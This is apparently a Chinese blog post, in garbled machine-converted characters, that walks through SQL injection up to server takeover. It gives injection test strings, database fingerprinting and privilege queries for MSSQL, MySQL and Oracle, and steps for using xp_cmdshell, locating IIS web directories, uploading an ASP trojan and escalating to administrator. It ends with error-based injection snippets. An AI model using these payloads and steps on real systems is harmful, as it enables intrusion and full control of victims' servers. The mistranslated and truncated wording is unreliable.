SQL注入之許可權提公升

2021-08-06 05:23:42 字數 2079 閱讀 2586

1.發現sql注入位置

1)整型引數的判斷

永假條件:?p=1 and 1=2

永真條件:?p=1 and 1=1

空條件:?p=1 or 1=1

2)字元型引數的判斷

永假條件:?p=1' and '1'='2

永真條件:?p=1' and '1'='1

空條件:?p=1' or '1'='1

3)過濾特殊字元的判斷

確認過濾了#    

確認過濾了or    

確認過濾多行注釋符    

確認過濾了單行注釋    

確認過濾了斜槓    

確認過濾了反斜槓    

確認過濾了空格    

ascii編碼:把輸入 的字元用ascii碼代替,如u=char(85)

2.判斷後台資料庫型別

mssql備忘單:

select @@version;  檢視版本

select db_name(); 獲取當前資料庫

select user; 獲取當前使用者

select grantee,table_name,privilege_type from information_schema.table_privileges; 檢視當前使用者許可權

mysql備忘單:

select @@version; 檢視版本

select database(); 檢視當前資料庫

select user(); 檢視當前使用者

select * from information_schema.user_privileges where grantee='***x'; 檢視當前使用者許可權

select grantee,privilege_type,is_grantable from information_schema.user_privileges; 當前使用者許可權

oracle備忘單:

select banner from v$version; 檢視版本

select sys_context('userenv', 'db_name') from dual; 檢視當前資料庫

select user from dual; 檢視當前使用者

select privilege from session_privs; 檢視當前使用者的許可權

2)利用系統表

access的系統表是msysobjects,在web環境下沒有訪問許可權

sql server的系統表是sysobjects,在web環境下有訪問許可權

mssql三個關鍵系統表:sysdatabases,sysobjects,syscolumns

3.確定xp_cmdshell可執行

4.發現web虛擬目錄

1)根據經驗猜解:

web虛擬目錄:c:\inetpub\wwwroot;d:\inetpub\wwwroot;等

可執行虛擬目錄:c:\inetpub\scripts; d:\inetpub\scripts;等

5.上傳asp木馬(一段有特殊功能的asp**,放入web虛擬目錄的scripts下,遠端客戶端可執行它,進而得到系統的user許可權)

6.得到管理員許可權(asp木馬只有user許可權,要想獲取對系統的完全控制,還有有系統的管理員許可權)

注入攻擊之sql注入

在1998年,一位名為rfp的黑客發表了一篇題為 nt web technology vulnerabilities 的文章 注入攻擊的兩個條件 1 使用者能夠克制資料的輸入 在這裡,使用者能夠控制變數 2 原本要執行的 憑藉了使用者的輸入 一般輸入乙個 單引號就能引起執行查詢語句的語法錯誤,有些伺...

SQL注入之報錯注入

固定語句公式 union select 1 from select count concat floor rand 0 2 注入爆資料語句 a from information schema.tables group by a b 假如id輸入存在注入的話,可以通過如下語句進行報錯。mysql se...

SQL注入之報錯注入

0x01 報錯注入 在實際場景中,沒有乙個資料的返回資訊點。此時需要用報錯注入使其顯示出注入資訊。使用到報錯注入的場景有 普通報錯注入,即沒有資料返回點 insert注入 update注入 delete注入 0x02 常用到的兩個報錯函式 updatexml 和extractvalue 函式 0x0...